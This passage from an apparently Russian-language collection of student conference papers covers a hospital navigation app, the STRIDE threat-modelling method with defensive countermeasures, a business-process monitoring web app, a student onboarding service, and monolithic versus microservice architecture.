и доступности картографического обеспечения способствуют оптимизации работы раз-
личных учреждений на 40 процентов. 

Java – мощный и многофункциональный объектно-ориентированный язык про-
граммирования, который широко используется для создания различных приложений, от 
мобильных до серверных. Он предлагает платформонезависимость благодаря вирту-
альной машине Java (Java Virtual Machine), что позволяет разработчикам писать код 
один раз и запускать его на любых устройствах, поддерживающих JVM. Java также об-
ладает обширной стандартной библиотекой, которая предоставляет множество готовых 
решений для работы с данными, сетями и графическим интерфейсом. 

Разработка информационной системы для больничных учреждений требует 
комплексного подхода, включающего в себя не только создание навигационных карт, 
но и интеграцию различных функциональных модулей. Основной целью такой системы 
является оптимизация работы медицинского персонала. 

Одним из ключевых компонентов системы является модуль навигации, который 
обеспечивает пользователей актуальной информацией о расположении медицинских 
кабинетов, отделений и других важных объектов в больнице. Для этого необходимо ис-
пользовать актуальные данные о структуре здания, включая планы этажей и располо-
жение оборудования. Регулярное обновление этих данных позволит минимизировать 
вероятность ошибок при использовании навигационных карт. 

Рассмотрим процесс разработки мобильного приложения информационной си-
стемы для больничного учреждения в виде навигационной карты. 

Первый этап «Анализ потребностей». На данном этапе разработки необходи-
мо определить цели: какие основные функции должна выполнять навигационная карта, 
как будет происходить взаимодействие с пользователем. 

Данный этап является критически важным для успешной разработки навигаци-
онной карты, так как он закладывает основы для всех последующих этапов и обеспечи-
вает соответствие конечного продукта ожиданиям пользователей. 

Второй этап «Проектирование архитектуры». В этом этапе показано, что бу-
дет включено в архитектуру навигационной карты. Он должен включать базовые слои 
данных такие как кабинеты и этажи, а также функции персонализации, позволяющие 
настраивать интерфейс на основе предпочтения пользователя [1]. 

Третий этап «Дизайн интерфейса». На данном этапе основное внимание уде-
ляется созданию интуитивно понятного и привлекательного пользовательского интер-
фейса. Это включает в себя создание прототипов интерфейса, разработку стиля, ико-
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нок, а также выбор цветовой палитры и шрифтов, которые будут использоваться в при-
ложении. 

Четвертый этап «Разработка». Навигационная карта будет создана с помощью 
различных инструментов и технологий, которые помогут организовать структуру при-
ложения. В процессе разработки будут использоваться современные фреймворки и 
библиотеки для разработки интерфейса, что обеспечит интерактивность и отзывчивость 
приложения [2, 3]. 

Пятый этап «Тестирование». 
Тестирование проводится для проверки корректности построения маршрутов, 

пользовательского интерфейса и производительности. 
На этапе тестирования проводится комплексная проверка информационной си-

стемы для больничных учреждений с целью оценки её функциональности и надежно-
сти. Тестирование включает в себя три ключевых аспекта: проверку корректности по-
строения маршрутов, оценку пользовательского интерфейса и анализ производительно-
сти системы [4, 5]. 

Навигационные карты в мобильных приложениях имеют ряд преимуществ: 
1 Мобильные навигационные карты всегда под рукой, что позволяет находить 

нужные кабинеты в любое время. 
2 Отклик пользователей на ошибки или недостатки, что позволяет своевременно 

устранять их. 
3 Удобный интерфейс позволяет использовать приложение всем группам поль-

зователей, что делает навигацию доступной и интуитивно понятной. 
Однако приложение может иметь некоторые недостатки: 
1 Маршруты могут быть устаревшими, если они долго не обновляются. 
2 Несмотря на удобный интерфейс, некоторые пользователи пожилого возраста 

могут испытывать трудности с использованием приложения. 
Учитывая эти недостатки, нужно продолжать работу над улучшением навигаци-

онных карт и интерфейсов, чтобы сделать их более доступными и эффективными для 
всех категорий пользователей. Регулярное получение обратной связи и тестирование 
системы с участием различных групп пользователей помогут выявить и устранить су-
ществующие проблемы. 

Использования мобильных навигационных карт является перспективным 
направлением. В будущем, с развитием технологий искусственного интеллекта, воз-
можности мобильных навигационных карт будут значительно расширяться. Использо-
вание алгоритмов машинного обучения позволит приложениям анализировать данные о 
передвижениях пользователей, выявлять наиболее оптимальные маршруты и предла-
гать пользователю полностью настроить интерфейс под себя. 

Кроме того, интеграция технологий дополненной реальности может кардиналь-
но изменить опыт взаимодействия с навигацией. Пользователи смогут видеть навига-
ционные указания прямо на экране своего устройства, накладываемые на реальный 
мир, что сделает процесс ориентирования более интуитивным и удобным. 

В заключение, можно подвести итог, что данные перспективы подчеркивают 
важность дальнейшего развития и внедрения мобильных навигационных карт в меди-
цинские учреждения и повседневную жизнь. 

В данной работе была проведена разработка информационной системы для 
больничных учреждений с акцентом на внедрение навигационных карт. Авторами было 
проанализировано текущее состояние навигации в медицинских учреждениях и выяв-
лены основные проблемы, с которыми сталкиваются пользователи при поиске инфор-
мации. В результате исследования было доказано, что использование навигационных 
карт значительно повышает эффективность навигации, улучшает опыт взаимодействия 
пользователей с сервисами и оптимизирует время, затрачиваемое на поиск необходи-
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мых данных. Авторы разработали приложение с использованием языка программиро-
вания Java, что обеспечило широкий спектр инструментов для реализации поставлен-
ных задач. Кроме того, было выявлено, что дальнейшее развитие технологий в области 
навигационных карт открывает новые горизонты для улучшения приложения. Это поз-
волит создавать более понятные и удобные интерфейсы, что, в свою очередь, будет 
способствовать повышению удовлетворенности пользователей. Отклик пользователей 
станет важным показателем правильного выбора решений, позволяя своевременно вно-
сить необходимые улучшения и адаптировать систему под реальные потребности поль-
зователей. Таким образом, создание качественных навигационных карт является важ-
ным шагом к повышению удовлетворенности пользователей и оптимизации работы ме-
дицинских учреждений, что в конечном итоге способствует улучшению качества ока-
зания медицинских услуг. 
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МЕТОДОЛОГИЯ STRIDE ДЛЯ МОДЕЛИРОВАНИЯ УГРОЗ ПРИЛОЖЕНИЮ 
 
STRIDE METHODOLOGY FOR MODELING THREATS TO AN APPLICATION 
 
Аннотация. В статье рассматривается методология STRIDE, предназначенная для мо-
делирования угроз в приложениях. Целью исследования является выявление потенци-
альных угроз в системах с использованием компонентов STRIDE: подмена, подделка, 
отказ от действий, разглашение информации, отказ в обслуживании и повышение при-
вилегий. В результате анализа предложены конкретные меры защиты для каждой из 
категорий угроз, что позволяет повысить уровень безопасности приложений. Статья 
подчеркивает важность структурированного подхода к моделированию угроз и предла-
гает практические рекомендации для разработчиков и специалистов по безопасности. 
Abstract. The article discusses the STRIDE methodology for threat modeling in applications. 
The purpose of the study is to identify potential threats in systems using STRIDE compo-
nents: spoofing, forgery, denial of action, information disclosure, denial of service, and privi-
lege escalation. As a result of the analysis, specific protection measures are proposed for each 
of the threat categories, which allows increasing the level of application security. The article 
emphasizes the importance of a structured approach to threat modeling and offers practical 
recommendations for developers and security specialists. 
Ключевые слова: методология STRIDE, моделирование угроз, безопасность приложе-
ний, защита данных, угрозы, управление рисками. 
Key words: STRIDE methodology, threat modeling, application security, data protection, 
threats, risk management. 
 

Современные приложения сталкиваются с множеством угроз, которые могут 
негативно повлиять на их безопасность и функциональность. Моделирование угроз 
позволяет заранее выявить потенциальные уязвимости и минимизировать риски. Эф-
фективное моделирование угроз помогает не только защитить данные пользователей, 
но и сохранить репутацию компании, а также обеспечить соблюдение нормативных 
требований. Методология STRIDE представляет собой один из наиболее популярных 
подходов к моделированию угроз, который позволяет системно анализировать различ-
ные аспекты безопасности приложений. Каждый компонент методологии – подмена, 
подделка, отказ от действий, разглашение информации, отказ в обслуживании и повы-
шение привилегий – охватывает ключевые типы угроз, что делает STRIDE универсаль-
ным инструментом для оценки безопасности. 

Тема методологии STRIDE для моделирования угроз в приложениях является 
хорошо разработанной и актуальной в области информационной безопасности. Струк-
турированный подход к выявлению угроз помогает значительно повысить уровень за-
щиты систем. Методология охватывает ключевые категории угроз, что позволяет раз-
работчикам легко применять ее на практике. Цель данной статьи заключается в том, 
чтобы подробно рассмотреть применение методологии STRIDE для выявления потен-
циальных угроз в приложениях и предложить меры защиты от них. 

Методология STRIDE – это структурированный подход к моделированию угроз, 
который помогает выявить и оценить потенциальные риски в приложениях и системах. 
Название STRIDE является акронимом, состоящим из первых букв шести основных ка-
тегорий угроз, каждая из которых описывает определенный тип атаки или уязвимости. 
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Методология широко используется в разработке программного обеспечения и является 
важным инструментом для обеспечения безопасности. 

Компоненты STRIDE включают [1, с.26]: 
– Spoofing (подмена): Этот тип угрозы связан с попытками злоумышленника 

выдать себя за другого пользователя или систему. Например, использование украден-
ных учетных данных для доступа к защищенным ресурсам может привести к серьез-
ным последствиям, таким как несанкционированные операции или утечка данных. 

– Tampering (подделка): Подделка включает в себя несанкционированное из-
менение данных или кода в приложении. Это может проявляться в виде модификации 
файлов, подделки запросов или изменения чувствительной информации, что может 
нарушить целостность системы.  

– Repudiation (отказ от своих действий): Угроза отказа от действий возникает, 
когда пользователь или система может отвергнуть выполнение определенных действий, 
что затрудняет отслеживание и аудит. Например, если пользователь удаляет записи о 
своих действиях, это может привести к проблемам с ответственностью и доверием. 

– Information Disclosure (разглашение информации): Разглашение информации 
происходит, когда конфиденциальные данные становятся доступными несанкциониро-
ванным лицам. Это может включать утечки личной информации, коммерческих секре-
тов или других чувствительных данных, что может повлечь за собой юридические и 
финансовые последствия. 

– Denial of Service (отказ в обслуживании): Отказ в обслуживании – это атака, 
направленная на то, чтобы сделать ресурс недоступным для пользователей. Это может 
быть достигнуто путем перегрузки сервера запросами или другими методами, что при-
водит к сбоям в работе системы и потере доступа для легитимных пользователей. 

– Elevation of Privilege (повышение привилегий): Этот тип угрозы предполага-
ет возможность злоумышленника повысить свои права доступа в системе, получая кон-
троль над ресурсами, которые не должны быть доступны. Это может произойти, 
например, при использовании уязвимостей в программном обеспечении для получения 
административных прав. 

Методология STRIDE предоставляет разработчикам и специалистам по безопас-
ности структурированный способ анализа и оценки угроз, что позволяет более эффек-
тивно разрабатывать и внедрять меры защиты [2, c. 31]. 

Применение методологии STRIDE для выявления угроз в приложении включает 
несколько ключевых шагов, которые помогают системно оценить безопасность систе-
мы. Эти шаги помогают разработчикам и специалистам по безопасности организовать 
процесс анализа и выявить уязвимости, которые могут быть использованы злоумыш-
ленниками. К ним относятся определение границ системы (какие компоненты входят в 
систему, а также определить внешние интерфейсы и взаимодействия с другими систе-
мами), идентификация активов (какие ресурсы и данные являются ценными для орга-
низации), применение STRIDE к компонентам системы (детальный анализ каждого 
компонента с точки зрения различных типов угроз). 

Анализ угроз – ключевой этап в процессе моделирования угроз, который позво-
ляет оценить вероятности и потенциальные последствия каждой выявленной угрозы. 
Правильная оценка этих факторов помогает приоритизировать меры безопасности и 
сосредоточиться на самых критичных уязвимостях. Примером служит анализ угроз 
SDN-контроллеров, продемонстрированный в статье Яцука К.В., Свиридова О.И., Ива-
нова Д.А. и Скоробогатова С.Ю. [3, с. 348] 

Первым шагом в анализе угроз является оценка вероятности и воздействия каж-
дой угрозы. Вероятность относится к шансу того, что угроза реализуется, в то время 
как воздействие – это степень ущерба, который может быть причинен, если угроза 
осуществится. Обычно используется шкала, где вероятность может оцениваться как 
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низкая, средняя или высокая, а воздействие может варьироваться от незначительного 
до катастрофического. Эта оценка позволяет разработать более обоснованные страте-
гии защиты, сосредоточив внимание на тех угрозах, которые представляют наиболь-
шую опасность. 

Вторым шагом является использование матриц угроз для структурированного 
анализа. Матрица угроз представляет собой инструмент, который помогает визуализи-
ровать и систематизировать информацию о выявленных угрозах. В такой матрице 
обычно отображаются угрозы по осям, где одна ось представляет вероятности, а другая 
– воздействия. Заполнив матрицу, можно легко увидеть, какие угрозы требуют 
наибольшего внимания и ресурсов для их устранения, а какие могут быть отложены на 
более поздний срок. 

Использование матриц угроз упрощает процесс обсуждения между членами ко-
манды, так как создает общую основу для анализа и позволяет легче идентифицировать 
приоритеты в обеспечении безопасности. Это помогает не только в оценке текущих 
угроз, но и в планировании будущих мер защиты, позволяя адаптировать стратегию 
безопасности в зависимости от меняющихся условий и угроз. 

«Методология STRIDE обеспечивает хороший фреймворк для анализа и оценки 
угроз безопасности в [приложении]. Она позволяет систематически идентифицировать 
и классифицировать угрозы, а также привязывать их к конкретным свойствам системы 
(конфиденциальность, целостность, доступность), что помогает более точно оценить 
влияние потенциальных угроз» [4, с. 169]. 

Разработка эффективных мер защиты от угроз, выявленных с помощью методо-
логии STRIDE, является критически важной для обеспечения безопасности приложе-
ний. Каждая категория угроз требует специфических подходов и технологий для мини-
мизации рисков. 

Для угрозы Spoofing (подмена) важным шагом является внедрение надежных 
методов аутентификации и авторизации. Многофакторная аутентификация, например, 
значительно затрудняет доступ злоумышленников, так как требует подтверждения лич-
ности несколькими способами. Также следует применять современные протоколы 
аутентификации, такие как OAuth или SAML, которые обеспечивают высокий уровень 
защиты. 

В случае Tampering (подделка) необходимо реализовать контроль целостности 
данных. Использование криптографических хеш-функций и цифровых подписей позво-
ляет проверять неизменность данных при их передаче и хранении. Это поможет вы-
явить любые несанкционированные изменения и предотвратить подделку данных. 

Чтобы защититься от Repudiation (отказа от своих действий), важно вести учет 
действий пользователей с помощью детализированных журналов и аудитов. Запись 
всех операций, выполненных пользователями, позволит обеспечить прозрачность и 
подотчетность, а также упростит расследование в случае инцидентов. Журналы долж-
ны храниться в защищенном виде, чтобы предотвратить их подделку. 

Для защиты от Information Disclosure (разглашения информации) необходимо 
использовать шифрование и управление доступом. Шифрование данных как в состоя-
нии покоя, так и в процессе передачи помогает защитить конфиденциальную информа-
цию от несанкционированного доступа. Кроме того, реализация строгих политик 
управления доступом гарантирует, что только авторизованные пользователи могут ви-
деть и изменять чувствительные данные. 

Вопрос Denial of Service (отказа в обслуживании) требует применения различ-
ных мер для обеспечения доступности системы. Это могут быть механизмы ограниче-
ния нагрузки, такие как rate limiting, а также использование балансировщиков нагрузки 
и распределенных систем защиты от атак. Также важно иметь резервные мощности, 
которые могут быть задействованы в случае перегрузки основной системы. 
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Наконец, для борьбы с Elevation of Privilege (повышением привилегий) следует 
применять принцип минимальных привилегий. Это означает, что пользователи и про-
цессы должны иметь доступ только к тем ресурсам, которые необходимы для выполне-
ния их задач. Контроль доступа и регулярные проверки прав пользователей помогут 
предотвратить несанкционированное повышение привилегий. 

Эффективная реализация этих мер защиты значительно повысит безопасность 
приложений и снизит риски, связанные с выявленными угрозами. Таким образом, ме-
тодология STRIDE является мощным инструментом для моделирования угроз, который 
помогает разработчикам и специалистам по безопасности системно и целенаправленно 
анализировать потенциальные риски в приложениях. Применение STRIDE позволяет не 
только выявить уязвимости, но и оценить вероятность их реализации и возможные по-
следствия, что крайне важно для принятия обоснованных решений о мерах защиты. В 
ходе статьи были рассмотрены основные компоненты методологии STRIDE, а также 
предложены конкретные шаги и меры защиты от обнаруженных угроз. Это подчерки-
вает, что основное внимание должно уделяться не только выявлению угроз, но и разра-
ботке эффективных стратегий для их предотвращения. Структурированный подход, 
предлагаемый STRIDE, способствует созданию безопасных приложений и помогает 
организациям заранее подготовиться к потенциальным атакам. 
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DEVELOPMENT OF WEB-APPLICATION FOR MONITORING BUSINESS  
PROCESSES OF AN IT COMPANY 
 
Аннотация. Целью проекта является разработка веб-приложения для эффективного 
управления и анализа бизнес-процессов в IT-Компании. Предметом исследования вы-
ступают цифровые инструменты визуализации и мониторинга рабочих процессов. В 
результате реализован инструмент, который представляет актуальную информацию о 
текущем проекте, например это возможность вести задачи, изменять статусы задач, 
назначать исполнителей и получать всегда актуальную информацию о бизнес-
процессах. Само приложение обеспечивает прозрачность внутренних процессов, с по-
мощью чего можно позволить себе повышение скорости и эффективности работы 
внутренних процессов, благодаря чему повышается эффективность в среде с высокой 
технологической конкуренцией.  
Abstract. The aim of the project is to develop web applications for effective management and 
analysis of business processes in an IT company. The subject of the study will be digital visu-
alization tools and workflows. As a result, a tool has been implemented that provides up-to-
date information about the current project, for example, the ability to manage tasks, change 
task statuses, assign performers and always receive up-to-date information about business 
processes. The application itself provides transparency of internal processes, which allows 
you to afford an increase in the speed and efficiency of internal processes, thereby increasing 
efficiency in an environment with high technological competition. 
Ключевые слова: бизнес-процессы, задачи, статусы, веб-приложение, управление, ана-
лиз, IT-компания. 
Key words: business processes, tasks, statuses, web application, management, analysis, IT 
company. 

 
На данный момент времени без грамотного контроля своих бизнес-процессов 

риск компании утонуть в конкурентной борьбе сильно выше, чем у компании которая 
грамотно подходит к ведению внутренних процессов. Именно для таких целей и суще-
ствуют разработки которые помогают вести прозрачный и объективно грамотный под-
ход к разделению труда, где каждый может видеть какую зону ответственности он по-
крывает на данный момент и какие зоны роста в рамках компании может получить. 

Отсутствие единого инструмента для того, чтобы мониторить и анализировать 
рабочие процессы может очень легко привести к отсутствию продуктивности у сотруд-
ников и недопониманию внутри коллектива. Чаще всего это проявляется в больших 
проектах, которые требуют особого отслеживания прогресса и распределения задач, а 
также установления важности и введение технического долга. 

По этой причине создаются локальные цифровые решения, благодаря которым 
можно решить ряд проблем, описанных ранее. Такие разработки не только улучшают 
процесс работы в компании, но и многократно повышают эффективность и прозрач-
ность работы. 

Целью работы является анализ уже существующих аналогов на рынке и выявле-
ние их недостатков и преимуществ для команд разных размеров.  

Для понимания ситуации на рынке предложений нам необходимы примеры ана-
логов и их сравнение. На основе данного набора данных можно будет составить порт-
рет идеального приложения. В качестве примеров будут два сервиса Trello, Jira. 

Оценка каждого сервиса будет состоять из таких пунктов как легкость освоения, 
масштабируемость, функциональность. Сервис Trello представляет из себя минимали-
стичную платформу для доски с задачами, из преимуществ стоит выделить максималь-
но простой интерфейс. Сервис хорошо справится с небольшими командами, он ясен и 
позволяет быстро организовать рабочие процессы и относительно легко настраивается. 
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Но при масштабировании и появляются проблемы [1]. В сервисе очень ограниченные 
возможности, любая статистика отсутствует, нельзя вести график задач, управлять 
спринтами и иметь хоть какую-то визуализацию в виде диаграмм [2]. Касаемо интегра-
ций, их нет. Нет никаких локальных или глобальных интеграций и внешними система-
ми, что делает работу с сервисом менее благоприятной для дальнейшего развития. Та-
ким образом главным недостатком сервиса является его простота и отсутствие возмож-
ности как-либо увеличить масштаб работы. Для разработки небольшого проекта с не-
большой командой и со слабыми процессами сервис справится неплохо, однако при 
малейшем отклонении от процессов или от команды уже могут начаться проблемы с 
масштабированием, анализом задач, декомпозицией и прозрачностью процесса [3]. 

Сервис Jira является очень мощным инструментом который ориентирован на 
масштабные команды. Настройка процессов очень гибкая и почти что универсальная 
под любую команду. Имеются метрики, можно отслеживать прогресс задач и делать 
интеграции с внешними сервисами. Все это компенсируется большой сложностью ин-
струмента, начинающему понадобится существенный запас времени для того чтобы 
настроить грамотные процессы, и это может занимать месяцы работы.  

Таким образом главным недостатком является сложность проекта. Сложность 
порой может настолько быть высокой, что приходится писать отдельную документа-
цию по работе и настройке данного сервиса, не говоря о первичной сборке полноценного 
процесса мониторинга, который уже будет выстраиваться на ошибках и личном опыте 
бизнеса и команды разработки [4]. 

На основе тех данных, которые можно получить из изучения сервисов выше мож-
но сделать вывод, что нужен сервис заточенный под нужды компании. Это будет отдель-
ный сервис, в котором будут сочетаться простота и масштабируемость в разумных пре-
делах [5]. Из этого следует учитываться, что нужно сделать понятный и удобный интер-
фейс, который будет сочетать вид колонок из Trello и возможность расширяемости из 
Jira. 

Гибкая настройка позволит вести несколько проектов параллельно, благодаря че-
му будет достигнута масштабируемость приложения. Это позволит сделать простое и 
интуитивно понятное приложения, при этом будет отсутствие сложности, такие как в 
Jira. Система отслеживания задач. Система должна быть простой и прозрачной, в кото-
рой будут видны создатель и исполнитель для каждый задачи. Это обеспечит прозрачный 
процесс, в котором будут выставлены сроки выполнения и ответственные за задачу лю-
ди. У каждой задачи будет приоритет, что позволит интуитивно понимать зачем и поче-
му нужно выполнить одни задачи быстрее других. Таким образом будет достигнута про-
стота, которая необходима всем сервисам и масштабируемость, благодаря которой мож-
но будет вести огромный пласт задач и не тонуть при добавлении новой задачи. В каче-
стве архитектуры будут использоваться самые актуальные технологии. Нужно это ради 
того, чтобы иметь возможность найти на рынке специалиста, который будет вовлечен в 
проект и будет заранее осведомлен с большей частью технологий, которые будут исполь-
зованы. Для разработки будут применяться технологии клиентского и серверного ренде-
ринга Next.js, React.js, инструменты для работы с браузером JavsScript, TypeScript. 

Главным же объектом оптимизации служит сложность приложения, которая 
должна быть уменьшена до минимума, а набор функций и возможностей увеличен до 
максимума. Именно эти главные параметры и будут сочетаться в разрабатываемом 
приложении. При анализе уже существующих решений были сделаны выводы на осно-
ве этих существующих сервисов. Были разобраны главные недостатки этих сервисов и 
описаны причины того, почему у каждого бизнеса должно быть приложение для анали-
за текущих бизнес-процессов. Полагаясь на анализ, можно сказать, что главные серви-
сы далеко не всегда подходят под самые разные бизнесы, в силу чего требуется разра-
ботка собственного решения, в котором будут учтены приоритеты в дизайне и простоте 
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использования. Так же были разобраны технологии, благодаря которым представляется 
возможность создать собственное решение, которое будет учитывать интересы отдель-
ного бизнеса и создано под отдельную отрасль этого бизнеса. Такой подход очень ва-
жен, поскольку отрасли кардинально отличаются и между ними может быть очень мно-
го отличий, это и является главной причиной того, почему для большинства бизнесов 
необходимо свое решение. 

Таким образом создание собственного решения является лучшей альтернативой 
своим аналогам Jira и Trello.  

Не всегда готовое решение может служить надежной опорой для различных ро-
дов деятельности, именно поэтому всегда появляются новые продвинутые решения ко-
торые могут обеспечить надежным софтом и поддержкой бизнес на долгие годы, что 
впоследствии положительно скажется на динамике роста и развития абсолютно любой 
сферы в жизни обычного человека. 
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динга студентов. Описываются этапы проектирования, анализ целевой аудитории, со-
здание карты структуры сервиса и реализация интерактивного прототипа. Прототип 
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был создан в Figma, а разработка веб-приложения ведётся с использованием стека 
MEVN (MongoDB, Express.js, Vue.js, Node.js). Результаты работы будут использованы 
для внедрения онбординга в образовательные системы. 
Abstract. This article explores the process of developing a service onboarding platform for 
students. It covers the design phase, audience analysis, creation of a service architecture dia-
gram, and the development of an interactive prototype. The prototype was created in Figma, 
and the web application is being built using the MEVN stack (MongoDB, Express.js, Vue.js, 
Node.js). The outcomes of this work will be utilized to implement induction training in the 
educational system. 
Ключевые слова: онбординг, интерфейс, дизайн, MEVN, Figma, студенты. 
Key words: onboarding, interface, design, MEVN, Figma, students. 
 

Актуальность разработки цифровых решений для онбординга студентов обу-
словлена необходимостью быстрой адаптации новых обучающихся в условиях инфор-
мационной перегрузки и цифровизации образовательной среды. Современные студенты 
часто сталкиваются с трудностями при первом взаимодействии с информационными 
системами вуза: перегруженные сайты, неструктурированная информация, отсутствие 
визуальных подсказок и адаптивного дизайна. Это негативно влияет на их мотивацию, 
вызывает стресс и снижает вовлечённость в образовательный процесс [1]. 

Целью данной работы является проектирование пользовательского интерфейса и 
создание прототипа веб-сервиса онбординга студентов, который будет простым, до-
ступным и понятным для целевой аудитории. Особое внимание уделено разработке ви-
зуальной структуры, адаптивности под мобильные устройства и обеспечению быстрого 
доступа к ключевой информации [2]. 

Степень разработанности темы подтверждается наличием ряда исследований, 
посвящённых проектированию интерфейсов, цифровой адаптации и прототипирова-
нию. Однако в контексте образовательных учреждений и студенческого онбординга 
тема остаётся недостаточно освещённой, особенно с позиции комплексного подхода, 
включающего анализ аудитории, проектирование и реализацию прототипа на совре-
менном технологическом стеке. Настоящая работа направлена на восполнение данного 
пробела за счёт разработки функционального решения, ориентированного на студентов 
поколений Y и Z [3].  

Адаптация студентов к использованию цифровых технологий – это комплекс-
ный веб-сервис, который призван облегчить процесс ориентации новых пользователей 
в информационной и административной среде учебного заведения. Эффективность 
процесса обучения во многом зависит от того, насколько хорошо продумана структура 
сервиса и насколько просто с ним взаимодействовать. Это требует тщательного подхо-
да к разработке интерфейса [1]. 

На этапе построения структуры, была создана интеллект-карта, которая отража-
ет иерархию различных частей сервиса. Сервис включает в себя следующие основные 
разделы: 

1. Университет. 
2. Учёба. 
3. Наука. 
4. Студенческая жизнь. 
5. Общежития. 
6. Еда. 
7. Документы. 
8. Помощь. 
9. Иностранным гражданам. 
10. Университетские социальные сети. 
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Такая структура позволяет разумно распределить информацию и обеспечить 
удобную навигацию. На рисунке 1 представлена интеллект-карта веб-сервиса. 

 
Рисунок 1 – Интеллект-карта 

Опираясь на структуру онбординга, проведем анализ и исследование целевой 
аудитории. Для того чтобы адаптировать веб-сервис к реальным потребностям студен-
тов, был проведён опрос. В опросе приняли участие студенты бакалавриата, специали-
тета, магистратуры [2]. 

Ключевой вопрос опроса был: «Каким устройством вы чаще всего пользуетесь 
для доступа к сайту университета?» Большинство студентов ответили, что используют 
смартфон, что подтверждает необходимость адаптивного дизайна. 

Также участники опроса высказали свои предпочтения в дизайне: они хотели бы 
видеть простую навигацию, минимум текста, визуальные подсказки и графические 
элементы, а также крупный шрифт. Результаты опроса представлены на рисунке 2. 

После проведения опроса, был осущевлен переход на этап проектирования ин-
терфейсов и создание прототипов. На основе полученных данных, были разработаны 
основные требования к интерфейсу веб-сервиса: 

1. Адаптация к мобильным устройствам. 
2. Модульная организация контента. 
3. Минималистичный стиль, подчёркивающий визуальные элементы. 
4. Понятная типографика и значки. 
5. Быстрое взаимодействие без утомительных операций. 

 
Рисунок 2 – Результат опроса 

В Figma был создан интерактивный прототип, который включает в себя домаш-
нюю страницу, блоки временной шкалы, справку, новости и часто задаваемые вопросы.  

На рисунке 3 показана компоновка основных экранов прототипа.  
Прототип был протестирован группой студентов, после чего были внесены кор-

ректировки в расположение блоков, навигацию и контрастность элементов. Это позво-
лило повысить доступность и удобство использования веб-сервиса [3]. 
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Рисунок 3 – Прототип 

После тестирования прототипа, была определена техническая реализация веб-
сервиса. Для реализации веб-сервиса используется стек MEVN, который включает в 
себя следующие компоненты: 

1. MongoDB – для хранения данных (деталей, ссылок, структур). 
2. Express.js – для серверной логики и REST API. 
3. Vue.js – для создания фронтенда с реактивными компонентами. 
4. Node.js – для серверной среды выполнения. 
Этот стек позволяет создать веб-сервис с высокой производительностью и воз-

можностью дальнейшего масштабирования и интеграции в цифровую инфраструктуру 
учебного заведения [1]. 

Создание веб-сервиса для адаптации студентов позволило применить комплекс-
ный подход к их цифровой интеграции в образовательную среду. В рамках проекта бы-
ли выполнены следующие ключевые шаги: 

1. Исследование целевой аудитории. 
2. Определение структуры интерфейса. 
3. Создание интеллект-карты. 
4. Разработка интерактивного прототипа с учётом потребностей студентов. 
Опрос подтвердил важность мобильного доступа и адаптивного дизайна. Эти 

данные стали основой для проектных решений, направленных на улучшение доступно-
сти и наглядности интерфейса. При проектировании учитывались принципы модульно-
сти, минимализма и визуальной иерархии. 

Прототип, созданный в Figma, был протестирован и доработан с учётом коммен-
тариев пользователей. Реализация веб-сервиса осуществляется с использованием стека 
MEVN, который обеспечивает производительность и масштабируемость. 

Разработанный веб-сервис может быть интегрирован в цифровую инфраструкту-
ру университета и использоваться как инструмент для первичной адаптации студентов. 
Это позволит снизить нагрузку на администрацию и предоставить студентам доступ к 
необходимой информации в удобной форме. 
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Актуальность исследования архитектурных паттернов в разработке программно-
го обеспечения обусловлена необходимостью обеспечения высокой масштабируемости, 
устойчивости к изменениям и эффективности современных систем. В условиях роста 
сложности IT-проектов, увеличения нагрузки до миллионов запросов в секунду и ак-
тивной интеграции с внешними сервисами выбор оптимальной архитектуры становится 
ключевым фактором успеха. Неверные решения на этапе проектирования могут приве-
сти к значительному росту затрат на поддержку, замедлению разработки и снижению 
гибкости системы. Это делает изучение и адаптацию архитектурных подходов критиче-
ски важными для минимизации рисков и повышения качества программных продуктов. 

Целью данной работы является анализ современных архитектурных паттернов, 
их преимуществ и ограничений в контексте решения типовых задач разработки. Особое 
внимание уделяется специализированным подходам, которые дополняют классические 
решения, такие как паттерн MVC (Model-View-Controller) – шаблон проектирования, 
разделяющий приложение на три компонента: данные (Model), интерфейс (View) и ло-
гику (Controller). Исследование направлено на выявление оптимальных стратегий для 
проектов с высокими требованиями к производительности, тестируемости и динамиче-
скому взаимодействию компонентов. 

Степень разработанности темы характеризуется наличием множества устояв-
шихся паттернов, накопленных за десятилетия практики.  

Таким образом, работа актуализирует проблему выбора и адаптации архитек-
турных паттернов, предлагая комплексный анализ их эволюции, текущих трендов и 
перспектив.  

Традиционная монолитная архитектура, в которой все компоненты приложения 
тесно связаны между собой. В таком подходе одна кодовая база на несколько бизнес-
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функций. Единый модуль работает самостоятельно и независимо от других приложе-
ний [1]. Монолитная архитектура подходит для реализации небольших проектов на 
начальных стадиях развертывания проекта (рисунок 1). 

 
Рисунок 1 – Модель монолитной архитектуры 

Главные плюсы такого подхода: 
1) быстрота разработки; 
2) простота; 
3) единая кодовая база; 
4) простые процессы. 
Также можно выделить минусы: 
1) отказоустойчивость; 
2) сложность масштабируемости; 
3) при добавлении новых технологий, появляется нужда в перепроектировании 

всего проекта; 
4) при обновлении любой части сервиса, необходимо повторное развертывание 

всего приложения. 
Существуют различные паттерны для проектирования монолитных систем, од-

ним из таких является паттерн SQRS. Это такой подход, в котором изменяющий состо-
яние, отделяется от кода, просто читающего это состояние [1]. 

Основной идеей этого шаблона является принцип разделения команд и запросов. 
Внутри объекта метода могут быть двух типов: 

1) Queries – методы возвращают результат, не изменяя состояние объекта, нет 
никаких побочных эффектов. 

2)  Commands – методы изменяют состояние объекта, но ничего не возвращают. 
Для изменения состояния системы создается класс Command, а для выборки 

данных объект Query. 
Паттерн CQRS говорит, что не нужно смешить объекты Command и Query, нуж-

но их явно выделять. Разделение достигается группированием операций запроса в од-
ном уровне, а команд в другом [2]. 

Паттерн MVC предлагает выделение частей:  
- Модели – сущности, которые используются в проекте.  
- Контроллеры – методы для передачи данных в представления.  
- Представления – компонент для взаимодействия с пользователем. 
Монолитная архитектура удобно для разработчиков, но когда возникает вопрос 

о масштабировании приложения, появляются проблемы.  
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Для решения этой задачи можно использовать горизонтальное масштабирова-
ние, которое достигается за счет клонирования инстансов целого приложения. Но это 
ресурсозатратно и неэффективно. Но что делать в таком случае? Необходимо разделить 
монолитную систему [2]. 

Распределенная информационная система (РИС) – информационная система, в 
которой модули взаимодействуют через сеть. Также модули могут быть расположены 
на разных серверах [3].  

Для этого можно воспользоваться принципом разделения компонентов прило-
жения на независимые модули по типу РИС. Делится на модули, компоненты и домены 
(рисунок 2). 

 
Рисунок 2 – Горизонтальное масштабирование 

На сегодняшний день популярным решением является вертикальное масштаби-
рование, использование микросервисной архитектуры. Принцип организации микро-
сервисов, основанный на реализации независимых модулей. Разработка, обновление, 
развертывание каждой такой службы происходит независимо от других (рисунок 3). 

 
